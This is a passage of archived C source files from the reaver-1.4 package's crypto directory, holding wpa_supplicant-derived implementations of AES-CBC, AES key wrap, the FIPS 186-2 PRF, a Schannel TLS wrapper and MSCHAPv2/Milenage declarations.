2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_128_cbc_encrypt - AES-128 CBC encryption * @key: Encryption key * @iv: Encryption IV for CBC mode (16 bytes) * @data: Data to encrypt in-place * @data_len: Length of data in bytes (must be divisible by 16) * Returns: 0 on success, -1 on failure */ int aes_128_cbc_encrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len) { void *ctx; u8 cbc[AES_BLOCK_SIZE]; u8 *pos = data; int i, j, blocks; ctx = aes_encrypt_init(key, 16); if (ctx == NULL) return -1; os_memcpy(cbc, iv, AES_BLOCK_SIZE); blocks = data_len / AES_BLOCK_SIZE; for (i = 0; i < blocks; i++) { for (j = 0; j < AES_BLOCK_SIZE; j++) cbc[j] ^= pos[j]; aes_encrypt(ctx, cbc, cbc); os_memcpy(pos, cbc, AES_BLOCK_SIZE); pos += AES_BLOCK_SIZE; } aes_encrypt_deinit(ctx); return 0; } /** * aes_128_cbc_decrypt - AES-128 CBC decryption * @key: Decryption key * @iv: Decryption IV for CBC mode (16 bytes) * @data: Data to decrypt in-place * @data_len: Length of data in bytes (must be divisible by 16) * Returns: 0 on success, -1 on failure */ int aes_128_cbc_decrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len) { void *ctx; u8 cbc[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE]; u8 *pos = data; int i, j, blocks; ctx = aes_decrypt_init(key, 16); if (ctx == NULL) return -1; os_memcpy(cbc, iv, AES_BLOCK_SIZE); blocks = data_len / AES_BLOCK_SIZE; for (i = 0; i < blocks; i++) { os_memcpy(tmp, pos, AES_BLOCK_SIZE); aes_decrypt(ctx, pos, pos); for (j = 0; j < AES_BLOCK_SIZE; j++) pos[j] ^= cbc[j]; os_memcpy(cbc, tmp, AES_BLOCK_SIZE); pos += AES_BLOCK_SIZE; } aes_decrypt_deinit(ctx); return 0; } reaver-1.4/src/crypto/fips_prf_openssl.c0000755000175000017500000000341511705505260020031 0ustar reaverreaver/* * FIPS 186-2 PRF for libcrypto * Copyright (c) 2004-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "crypto.h" static void sha1_transform(u8 *state, const u8 data[64]) { SHA_CTX context; os_memset(&context, 0, sizeof(context)); os_memcpy(&context.h0, state, 5 * 4); SHA1_Transform(&context, data); os_memcpy(state, &context.h0, 5 * 4); } int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) { u8 xkey[64]; u32 t[5], _t[5]; int i, j, m, k; u8 *xpos = x; u32 carry; if (seed_len > sizeof(xkey)) seed_len = sizeof(xkey); /* FIPS 186-2 + change notice 1 */ os_memcpy(xkey, seed, seed_len); os_memset(xkey + seed_len, 0, 64 - seed_len); t[0] = 0x67452301; t[1] = 0xEFCDAB89; t[2] = 0x98BADCFE; t[3] = 0x10325476; t[4] = 0xC3D2E1F0; m = xlen / 40; for (j = 0; j < m; j++) { /* XSEED_j = 0 */ for (i = 0; i < 2; i++) { /* XVAL = (XKEY + XSEED_j) mod 2^b */ /* w_i = G(t, XVAL) */ os_memcpy(_t, t, 20); sha1_transform((u8 *) _t, xkey); _t[0] = host_to_be32(_t[0]); _t[1] = host_to_be32(_t[1]); _t[2] = host_to_be32(_t[2]); _t[3] = host_to_be32(_t[3]); _t[4] = host_to_be32(_t[4]); os_memcpy(xpos, _t, 20); /* XKEY = (1 + XKEY + w_i) mod 2^b */ carry = 1; for (k = 19; k >= 0; k--) { carry += xkey[k] + xpos[k]; xkey[k] = carry & 0xff; carry >>= 8; } xpos += 20; } /* x_j = w_0|w_1 */ } return 0; } reaver-1.4/src/crypto/crypto_none.c0000755000175000017500000000123611705505260017014 0ustar reaverreaver/* * WPA Supplicant / Empty template functions for crypto wrapper * Copyright (c) 2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return 0; } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { } reaver-1.4/src/crypto/tls_schannel.c0000755000175000017500000004653111705505260017141 0ustar reaverreaver/* * SSL/TLS interface functions for Microsoft Schannel * Copyright (c) 2005-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ /* * FIX: Go through all SSPI functions and verify what needs to be freed * FIX: session resumption * TODO: add support for server cert chain validation * TODO: add support for CA cert validation * TODO: add support for EAP-TLS (client cert/key conf) */ #include "includes.h" #include #include #include #define SECURITY_WIN32 #include #include #include "common.h" #include "tls.h" struct tls_global { HMODULE hsecurity; PSecurityFunctionTable sspi; HCERTSTORE my_cert_store; }; struct tls_connection { int established, start; int failed, read_alerts, write_alerts; SCHANNEL_CRED schannel_cred; CredHandle creds; CtxtHandle context; u8 eap_tls_prf[128]; int eap_tls_prf_set; }; static int schannel_load_lib(struct tls_global *global) { INIT_SECURITY_INTERFACE pInitSecurityInterface; global->hsecurity = LoadLibrary(TEXT("Secur32.dll")); if (global->hsecurity == NULL) { wpa_printf(MSG_ERROR, "%s: Could not load Secur32.dll - 0x%x", __func__, (unsigned int) GetLastError()); return -1; } pInitSecurityInterface = (INIT_SECURITY_INTERFACE) GetProcAddress( global->hsecurity, "InitSecurityInterfaceA"); if (pInitSecurityInterface == NULL) { wpa_printf(MSG_ERROR, "%s: Could not find " "InitSecurityInterfaceA from Secur32.dll", __func__); FreeLibrary(global->hsecurity); global->hsecurity = NULL; return -1; } global->sspi = pInitSecurityInterface(); if (global->sspi == NULL) { wpa_printf(MSG_ERROR, "%s: Could not read security " "interface - 0x%x", __func__, (unsigned int) GetLastError()); FreeLibrary(global->hsecurity); global->hsecurity = NULL; return -1; } return 0; } void * tls_init(const struct tls_config *conf) { struct tls_global *global; global = os_zalloc(sizeof(*global)); if (global == NULL) return NULL; if (schannel_load_lib(global)) { os_free(global); return NULL; } return global; } void tls_deinit(void *ssl_ctx) { struct tls_global *global = ssl_ctx; if (global->my_cert_store) CertCloseStore(global->my_cert_store, 0); FreeLibrary(global->hsecurity); os_free(global); } int tls_get_errors(void *ssl_ctx) { return 0; } struct tls_connection * tls_connection_init(void *ssl_ctx) { struct tls_connection *conn; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; conn->start = 1; return conn; } void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return; os_free(conn); } int tls_connection_established(void *ssl_ctx, struct tls_connection *conn) { return conn ? conn->established : 0; } int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn) { struct tls_global *global = ssl_ctx; if (conn == NULL) return -1; conn->eap_tls_prf_set = 0; conn->established = conn->failed = 0; conn->read_alerts = conn->write_alerts = 0; global->sspi->DeleteSecurityContext(&conn->context); /* FIX: what else needs to be reseted? */ return 0; } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { return -1; } int tls_global_set_verify(void *ssl_ctx, int check_crl) { return -1; } int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn, int verify_peer) { return -1; } int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn, struct tls_keys *keys) { /* Schannel does not export master secret or client/server random. */ return -1; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { /* * Cannot get master_key from Schannel, but EapKeyBlock can be used to * generate session keys for EAP-TLS and EAP-PEAPv0. EAP-PEAPv2 and * EAP-TTLS cannot use this, though, since they are using different * labels. The only option could be to implement TLSv1 completely here * and just use Schannel or CryptoAPI for low-level crypto * functionality.. */ if (conn == NULL || !conn->eap_tls_prf_set || server_random_first || os_strcmp(label, "client EAP encryption") != 0 || out_len > sizeof(conn->eap_tls_prf)) return -1; os_memcpy(out, conn->eap_tls_prf, out_len); return 0; } static struct wpabuf * tls_conn_hs_clienthello(struct tls_global *global, struct tls_connection *conn) { DWORD sspi_flags, sspi_flags_out; SecBufferDesc outbuf; SecBuffer outbufs[1]; SECURITY_STATUS status; TimeStamp ts_expiry; sspi_flags = ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY | ISC_RET_EXTENDED_ERROR | ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_MANUAL_CRED_VALIDATION; wpa_printf(MSG_DEBUG, "%s: Generating ClientHello", __func__); outbufs[0].pvBuffer = NULL; outbufs[0].BufferType = SECBUFFER_TOKEN; outbufs[0].cbBuffer = 0; outbuf.cBuffers = 1; outbuf.pBuffers = outbufs; outbuf.ulVersion = SECBUFFER_VERSION; #ifdef UNICODE status = global->sspi->InitializeSecurityContextW( &conn->creds, NULL, NULL /* server name */, sspi_flags, 0, SECURITY_NATIVE_DREP, NULL, 0, &conn->context, &outbuf, &sspi_flags_out, &ts_expiry); #else /* UNICODE */ status = global->sspi->InitializeSecurityContextA( &conn->creds, NULL, NULL /* server name */, sspi_flags, 0, SECURITY_NATIVE_DREP, NULL, 0, &conn->context, &outbuf, &sspi_flags_out, &ts_expiry); #endif /* UNICODE */ if (status != SEC_I_CONTINUE_NEEDED) { wpa_printf(MSG_ERROR, "%s: InitializeSecurityContextA " "failed - 0x%x", __func__, (unsigned int) status); return NULL; } if (outbufs[0].cbBuffer != 0 && outbufs[0].pvBuffer) { struct wpabuf *buf; wpa_hexdump(MSG_MSGDUMP, "SChannel - ClientHello", outbufs[0].pvBuffer, outbufs[0].cbBuffer); conn->start = 0; buf = wpabuf_alloc_copy(outbufs[0].pvBuffer, outbufs[0].cbBuffer); if (buf == NULL) return NULL; global->sspi->FreeContextBuffer(outbufs[0].pvBuffer); return buf; } wpa_printf(MSG_ERROR, "SChannel: Failed to generate ClientHello"); return NULL; } #ifndef SECPKG_ATTR_EAP_KEY_BLOCK #define SECPKG_ATTR_EAP_KEY_BLOCK 0x5b typedef struct _SecPkgContext_EapKeyBlock { BYTE rgbKeys[128]; BYTE rgbIVs[64]; } SecPkgContext_EapKeyBlock, *PSecPkgContext_EapKeyBlock; #endif /* !SECPKG_ATTR_EAP_KEY_BLOCK */ static int tls_get_eap(struct tls_global *global, struct tls_connection *conn) { SECURITY_STATUS status; SecPkgContext_EapKeyBlock kb; /* Note: Windows NT and Windows Me/98/95 do not support getting * EapKeyBlock */ status = global->sspi->QueryContextAttributes( &conn->context, SECPKG_ATTR_EAP_KEY_BLOCK, &kb); if (status != SEC_E_OK) { wpa_printf(MSG_DEBUG, "%s: QueryContextAttributes(" "SECPKG_ATTR_EAP_KEY_BLOCK) failed (%d)", __func__, (int) status); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "Schannel - EapKeyBlock - rgbKeys", kb.rgbKeys, sizeof(kb.rgbKeys)); wpa_hexdump_key(MSG_MSGDUMP, "Schannel - EapKeyBlock - rgbIVs", kb.rgbIVs, sizeof(kb.rgbIVs)); os_memcpy(conn->eap_tls_prf, kb.rgbKeys, sizeof(kb.rgbKeys)); conn->eap_tls_prf_set = 1; return 0; } struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { struct tls_global *global = tls_ctx; DWORD sspi_flags, sspi_flags_out; SecBufferDesc inbuf, outbuf; SecBuffer inbufs[2], outbufs[1]; SECURITY_STATUS status; TimeStamp ts_expiry; struct wpabuf *out_buf = NULL; if (appl_data) *appl_data = NULL; if (conn->start) return tls_conn_hs_clienthello(global, conn); wpa_printf(MSG_DEBUG, "SChannel: %d bytes handshake data to process", (int) wpabuf_len(in_data)); sspi_flags = ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY | ISC_RET_EXTENDED_ERROR | ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_MANUAL_CRED_VALIDATION; /* Input buffer for Schannel */ inbufs[0].pvBuffer = (u8 *) wpabuf_head(in_data); inbufs[0].cbBuffer = wpabuf_len(in_data); inbufs[0].BufferType = SECBUFFER_TOKEN; /* Place for leftover data from Schannel */ inbufs[1].pvBuffer = NULL; inbufs[1].cbBuffer = 0; inbufs[1].BufferType = SECBUFFER_EMPTY; inbuf.cBuffers = 2; inbuf.pBuffers = inbufs; inbuf.ulVersion = SECBUFFER_VERSION; /* Output buffer for Schannel */ outbufs[0].pvBuffer = NULL; outbufs[0].cbBuffer = 0; outbufs[0].BufferType = SECBUFFER_TOKEN; outbuf.cBuffers = 1; outbuf.pBuffers = outbufs; outbuf.ulVersion = SECBUFFER_VERSION; #ifdef UNICODE status = global->sspi->InitializeSecurityContextW( &conn->creds, &conn->context, NULL, sspi_flags, 0, SECURITY_NATIVE_DREP, &inbuf, 0, NULL, &outbuf, &sspi_flags_out, &ts_expiry); #else /* UNICODE */ status = global->sspi->InitializeSecurityContextA( &conn->creds, &conn->context, NULL, sspi_flags, 0, SECURITY_NATIVE_DREP, &inbuf, 0, NULL, &outbuf, &sspi_flags_out, &ts_expiry); #endif /* UNICODE */ wpa_printf(MSG_MSGDUMP, "Schannel: InitializeSecurityContext -> " "status=%d inlen[0]=%d intype[0]=%d inlen[1]=%d " "intype[1]=%d outlen[0]=%d", (int) status, (int) inbufs[0].cbBuffer, (int) inbufs[0].BufferType, (int) inbufs[1].cbBuffer, (int) inbufs[1].BufferType, (int) outbufs[0].cbBuffer); if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED || (FAILED(status) && (sspi_flags_out & ISC_RET_EXTENDED_ERROR))) { if (outbufs[0].cbBuffer != 0 && outbufs[0].pvBuffer) { wpa_hexdump(MSG_MSGDUMP, "SChannel - output", outbufs[0].pvBuffer, outbufs[0].cbBuffer); out_buf = wpabuf_alloc_copy(outbufs[0].pvBuffer, outbufs[0].cbBuffer); global->sspi->FreeContextBuffer(outbufs[0].pvBuffer); outbufs[0].pvBuffer = NULL; if (out_buf == NULL) return NULL; } } switch (status) { case SEC_E_INCOMPLETE_MESSAGE: wpa_printf(MSG_DEBUG, "Schannel: SEC_E_INCOMPLETE_MESSAGE"); break; case SEC_I_CONTINUE_NEEDED: wpa_printf(MSG_DEBUG, "Schannel: SEC_I_CONTINUE_NEEDED"); break; case SEC_E_OK: /* TODO: verify server certificate chain */ wpa_printf(MSG_DEBUG, "Schannel: SEC_E_OK - Handshake " "completed successfully"); conn->established = 1; tls_get_eap(global, conn); /* Need to return something to get final TLS ACK. */ if (out_buf == NULL) out_buf = wpabuf_alloc(0); if (inbufs[1].BufferType == SECBUFFER_EXTRA) { wpa_hexdump(MSG_MSGDUMP, "SChannel - Encrypted " "application data", inbufs[1].pvBuffer, inbufs[1].cbBuffer); if (appl_data) { *appl_data = wpabuf_alloc_copy( outbufs[1].pvBuffer, outbufs[1].cbBuffer); } global->sspi->FreeContextBuffer(inbufs[1].pvBuffer); inbufs[1].pvBuffer = NULL; } break; case SEC_I_INCOMPLETE_CREDENTIALS: wpa_printf(MSG_DEBUG, "Schannel: SEC_I_INCOMPLETE_CREDENTIALS"); break; case SEC_E_WRONG_PRINCIPAL: wpa_printf(MSG_DEBUG, "Schannel: SEC_E_WRONG_PRINCIPAL"); break; case SEC_E_INTERNAL_ERROR: wpa_printf(MSG_DEBUG, "Schannel: SEC_E_INTERNAL_ERROR"); break; } if (FAILED(status)) { wpa_printf(MSG_DEBUG, "Schannel: Handshake failed " "(out_buf=%p)", out_buf); conn->failed++; global->sspi->DeleteSecurityContext(&conn->context); return out_buf; } if (inbufs[1].BufferType == SECBUFFER_EXTRA) { /* TODO: Can this happen? What to do with this data? */ wpa_hexdump(MSG_MSGDUMP, "SChannel - Leftover data", inbufs[1].pvBuffer, inbufs[1].cbBuffer); global->sspi->FreeContextBuffer(inbufs[1].pvBuffer); inbufs[1].pvBuffer = NULL; } return out_buf; } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return NULL; } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { struct tls_global *global = tls_ctx; SECURITY_STATUS status; SecBufferDesc buf; SecBuffer bufs[4]; SecPkgContext_StreamSizes sizes; int i; struct wpabuf *out; status = global->sspi->QueryContextAttributes(&conn->context, SECPKG_ATTR_STREAM_SIZES, &sizes); if (status != SEC_E_OK) { wpa_printf(MSG_DEBUG, "%s: QueryContextAttributes failed", __func__); return NULL; } wpa_printf(MSG_DEBUG, "%s: Stream sizes: header=%u trailer=%u", __func__, (unsigned int) sizes.cbHeader, (unsigned int) sizes.cbTrailer); out = wpabuf_alloc(sizes.cbHeader + wpabuf_len(in_data) + sizes.cbTrailer); os_memset(&bufs, 0, sizeof(bufs)); bufs[0].pvBuffer = wpabuf_put(out, sizes.cbHeader); bufs[0].cbBuffer = sizes.cbHeader; bufs[0].BufferType = SECBUFFER_STREAM_HEADER; bufs[1].pvBuffer = wpabuf_put(out, 0); wpabuf_put_buf(out, in_data); bufs[1].cbBuffer = wpabuf_len(in_data); bufs[1].BufferType = SECBUFFER_DATA; bufs[2].pvBuffer = wpabuf_put(out, sizes.cbTrailer); bufs[2].cbBuffer = sizes.cbTrailer; bufs[2].BufferType = SECBUFFER_STREAM_TRAILER; buf.ulVersion = SECBUFFER_VERSION; buf.cBuffers = 3; buf.pBuffers = bufs; status = global->sspi->EncryptMessage(&conn->context, 0, &buf, 0); wpa_printf(MSG_MSGDUMP, "Schannel: EncryptMessage -> " "status=%d len[0]=%d type[0]=%d len[1]=%d type[1]=%d " "len[2]=%d type[2]=%d", (int) status, (int) bufs[0].cbBuffer, (int) bufs[0].BufferType, (int) bufs[1].cbBuffer, (int) bufs[1].BufferType, (int) bufs[2].cbBuffer, (int) bufs[2].BufferType); wpa_printf(MSG_MSGDUMP, "Schannel: EncryptMessage pointers: " "out_data=%p bufs %p %p %p", wpabuf_head(out), bufs[0].pvBuffer, bufs[1].pvBuffer, bufs[2].pvBuffer); for (i = 0; i < 3; i++) { if (bufs[i].pvBuffer && bufs[i].BufferType != SECBUFFER_EMPTY) { wpa_hexdump(MSG_MSGDUMP, "SChannel: bufs", bufs[i].pvBuffer, bufs[i].cbBuffer); } } if (status == SEC_E_OK) { wpa_printf(MSG_DEBUG, "%s: SEC_E_OK", __func__); wpa_hexdump_buf_key(MSG_MSGDUMP, "Schannel: Encrypted data " "from EncryptMessage", out); return out; } wpa_printf(MSG_DEBUG, "%s: Failed - status=%d", __func__, (int) status); wpabuf_free(out); return NULL; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { struct tls_global *global = tls_ctx; SECURITY_STATUS status; SecBufferDesc buf; SecBuffer bufs[4]; int i; struct wpabuf *out, *tmp; wpa_hexdump_buf(MSG_MSGDUMP, "Schannel: Encrypted data to DecryptMessage", in_data); os_memset(&bufs, 0, sizeof(bufs)); tmp = wpabuf_dup(in_data); if (tmp == NULL) return NULL; bufs[0].pvBuffer = wpabuf_mhead(tmp); bufs[0].cbBuffer = wpabuf_len(in_data); bufs[0].BufferType = SECBUFFER_DATA; bufs[1].BufferType = SECBUFFER_EMPTY; bufs[2].BufferType = SECBUFFER_EMPTY; bufs[3].BufferType = SECBUFFER_EMPTY; buf.ulVersion = SECBUFFER_VERSION; buf.cBuffers = 4; buf.pBuffers = bufs; status = global->sspi->DecryptMessage(&conn->context, &buf, 0, NULL); wpa_printf(MSG_MSGDUMP, "Schannel: DecryptMessage -> " "status=%d len[0]=%d type[0]=%d len[1]=%d type[1]=%d " "len[2]=%d type[2]=%d len[3]=%d type[3]=%d", (int) status, (int) bufs[0].cbBuffer, (int) bufs[0].BufferType, (int) bufs[1].cbBuffer, (int) bufs[1].BufferType, (int) bufs[2].cbBuffer, (int) bufs[2].BufferType, (int) bufs[3].cbBuffer, (int) bufs[3].BufferType); wpa_printf(MSG_MSGDUMP, "Schannel: DecryptMessage pointers: " "out_data=%p bufs %p %p %p %p", wpabuf_head(tmp), bufs[0].pvBuffer, bufs[1].pvBuffer, bufs[2].pvBuffer, bufs[3].pvBuffer); switch (status) { case SEC_E_INCOMPLETE_MESSAGE: wpa_printf(MSG_DEBUG, "%s: SEC_E_INCOMPLETE_MESSAGE", __func__); break; case SEC_E_OK: wpa_printf(MSG_DEBUG, "%s: SEC_E_OK", __func__); for (i = 0; i < 4; i++) { if (bufs[i].BufferType == SECBUFFER_DATA) break; } if (i == 4) { wpa_printf(MSG_DEBUG, "%s: No output data from " "DecryptMessage", __func__); wpabuf_free(tmp); return NULL; } wpa_hexdump_key(MSG_MSGDUMP, "Schannel: Decrypted data from " "DecryptMessage", bufs[i].pvBuffer, bufs[i].cbBuffer); out = wpabuf_alloc_copy(bufs[i].pvBuffer, bufs[i].cbBuffer); wpabuf_free(tmp); return out; } wpa_printf(MSG_DEBUG, "%s: Failed - status=%d", __func__, (int) status); wpabuf_free(tmp); return NULL; } int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn) { return 0; } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { return -1; } int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn, char *buf, size_t buflen) { return -1; } int tls_connection_enable_workaround(void *ssl_ctx, struct tls_connection *conn) { return 0; } int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { return -1; } int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->failed; } int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->read_alerts; } int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->write_alerts; } int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { struct tls_global *global = tls_ctx; ALG_ID algs[1]; SECURITY_STATUS status; TimeStamp ts_expiry; if (conn == NULL) return -1; if (global->my_cert_store == NULL && (global->my_cert_store = CertOpenSystemStore(0, TEXT("MY"))) == NULL) { wpa_printf(MSG_ERROR, "%s: CertOpenSystemStore failed - 0x%x", __func__, (unsigned int) GetLastError()); return -1; } os_memset(&conn->schannel_cred, 0, sizeof(conn->schannel_cred)); conn->schannel_cred.dwVersion = SCHANNEL_CRED_VERSION; conn->schannel_cred.grbitEnabledProtocols = SP_PROT_TLS1; algs[0] = CALG_RSA_KEYX; conn->schannel_cred.cSupportedAlgs = 1; conn->schannel_cred.palgSupportedAlgs = algs; conn->schannel_cred.dwFlags |= SCH_CRED_NO_DEFAULT_CREDS; #ifdef UNICODE status = global->sspi->AcquireCredentialsHandleW( NULL, UNISP_NAME_W, SECPKG_CRED_OUTBOUND, NULL, &conn->schannel_cred, NULL, NULL, &conn->creds, &ts_expiry); #else /* UNICODE */ status = global->sspi->AcquireCredentialsHandleA( NULL, UNISP_NAME_A, SECPKG_CRED_OUTBOUND, NULL, &conn->schannel_cred, NULL, NULL, &conn->creds, &ts_expiry); #endif /* UNICODE */ if (status != SEC_E_OK) { wpa_printf(MSG_DEBUG, "%s: AcquireCredentialsHandleA failed - " "0x%x", __func__, (unsigned int) status); return -1; } return 0; } unsigned int tls_capabilities(void *tls_ctx) { return 0; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { return -1; } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final); { return NULL; } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { return -1; } reaver-1.4/src/crypto/crypto_internal-modexp.c0000755000175000017500000000270211705505260021162 0ustar reaverreaver/* * Crypto wrapper for internal crypto implementation - modexp * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "tls/bignum.h" #include "crypto.h" int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { struct bignum *bn_base, *bn_exp, *bn_modulus, *bn_result; int ret = -1; bn_base = bignum_init(); bn_exp = bignum_init(); bn_modulus = bignum_init(); bn_result = bignum_init(); if (bn_base == NULL || bn_exp == NULL || bn_modulus == NULL || bn_result == NULL) goto error; if (bignum_set_unsigned_bin(bn_base, base, base_len) < 0 || bignum_set_unsigned_bin(bn_exp, power, power_len) < 0 || bignum_set_unsigned_bin(bn_modulus, modulus, modulus_len) < 0) goto error; if (bignum_exptmod(bn_base, bn_exp, bn_modulus, bn_result) < 0) goto error; ret = bignum_get_unsigned_bin(bn_result, result, result_len); error: bignum_deinit(bn_base); bignum_deinit(bn_exp); bignum_deinit(bn_modulus); bignum_deinit(bn_result); return ret; } reaver-1.4/src/crypto/ms_funcs.h0000755000175000017500000000477311705505260016310 0ustar reaverreaver/* * WPA Supplicant / shared MSCHAPV2 helper functions / RFC 2433 / RFC 2759 * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef MS_FUNCS_H #define MS_FUNCS_H int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge, const u8 *username, size_t username_len, const u8 *password, size_t password_len, u8 *response); int generate_nt_response_pwhash(const u8 *auth_challenge, const u8 *peer_challenge, const u8 *username, size_t username_len, const u8 *password_hash, u8 *response); int generate_authenticator_response(const u8 *password, size_t password_len, const u8 *peer_challenge, const u8 *auth_challenge, const u8 *username, size_t username_len, const u8 *nt_response, u8 *response); int generate_authenticator_response_pwhash( const u8 *password_hash, const u8 *peer_challenge, const u8 *auth_challenge, const u8 *username, size_t username_len, const u8 *nt_response, u8 *response); int nt_challenge_response(const u8 *challenge, const u8 *password, size_t password_len, u8 *response); void challenge_response(const u8 *challenge, const u8 *password_hash, u8 *response); int nt_password_hash(const u8 *password, size_t password_len, u8 *password_hash); int hash_nt_password_hash(const u8 *password_hash, u8 *password_hash_hash); int get_master_key(const u8 *password_hash_hash, const u8 *nt_response, u8 *master_key); int get_asymetric_start_key(const u8 *master_key, u8 *session_key, size_t session_key_len, int is_send, int is_server); int __must_check encrypt_pw_block_with_password_hash( const u8 *password, size_t password_len, const u8 *password_hash, u8 *pw_block); int __must_check new_password_encrypted_with_old_nt_password_hash( const u8 *new_password, size_t new_password_len, const u8 *old_password, size_t old_password_len, u8 *encrypted_pw_block); void nt_password_hash_encrypted_with_block(const u8 *password_hash, const u8 *block, u8 *cypher); int old_nt_password_hash_encrypted_with_new_nt_password_hash( const u8 *new_password, size_t new_password_len, const u8 *old_password, size_t old_password_len, u8 *encrypted_password_hash); #endif /* MS_FUNCS_H */ reaver-1.4/src/crypto/aes-wrap.c0000755000175000017500000000333311705505260016174 0ustar reaverreaver/* * AES Key Wrap Algorithm (128-bit KEK) (RFC3394) * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_wrap - Wrap keys with AES Key Wrap Algorithm (128-bit KEK) (RFC3394) * @kek: 16-octet Key encryption key (KEK) * @n: Length of the plaintext key in 64-bit units; e.g., 2 = 128-bit = 16 * bytes * @plain: Plaintext key to be wrapped, n * 64 bits * @cipher: Wrapped key, (n + 1) * 64 bits * Returns: 0 on success, -1 on failure */ int aes_wrap(const u8 *kek, int n, const u8 *plain, u8 *cipher) { u8 *a, *r, b[16]; int i, j; void *ctx; a = cipher; r = cipher + 8; /* 1) Initialize variables. */ os_memset(a, 0xa6, 8); os_memcpy(r, plain, 8 * n); ctx = aes_encrypt_init(kek, 16); if (ctx == NULL) return -1; /* 2) Calculate intermediate values. * For j = 0 to 5 * For i=1 to n * B = AES(K, A | R[i]) * A = MSB(64, B) ^ t where t = (n*j)+i * R[i] = LSB(64, B) */ for (j = 0; j <= 5; j++) { r = cipher + 8; for (i = 1; i <= n; i++) { os_memcpy(b, a, 8); os_memcpy(b + 8, r, 8); aes_encrypt(ctx, b, b); os_memcpy(a, b, 8); a[7] ^= n * j + i; os_memcpy(r, b + 8, 8); r += 8; } } aes_encrypt_deinit(ctx); /* 3) Output the results. * * These are already in @cipher due to the location of temporary * variables. */ return 0; } reaver-1.4/src/crypto/milenage.h0000755000175000017500000000232611705505260016244 0ustar reaverreaver/* * UMTS AKA - Milenage algorithm (3GPP TS 35.205, .206, .207, .208) * Copyright (c) 2006-2007 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef MILENAGE_H #define MILENAGE_H void milenage_generate(const u8 *opc, const u8 *amf, const u8 *k, const u8 *sqn, const u8 *_rand, u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len); int milenage_auts(const u8 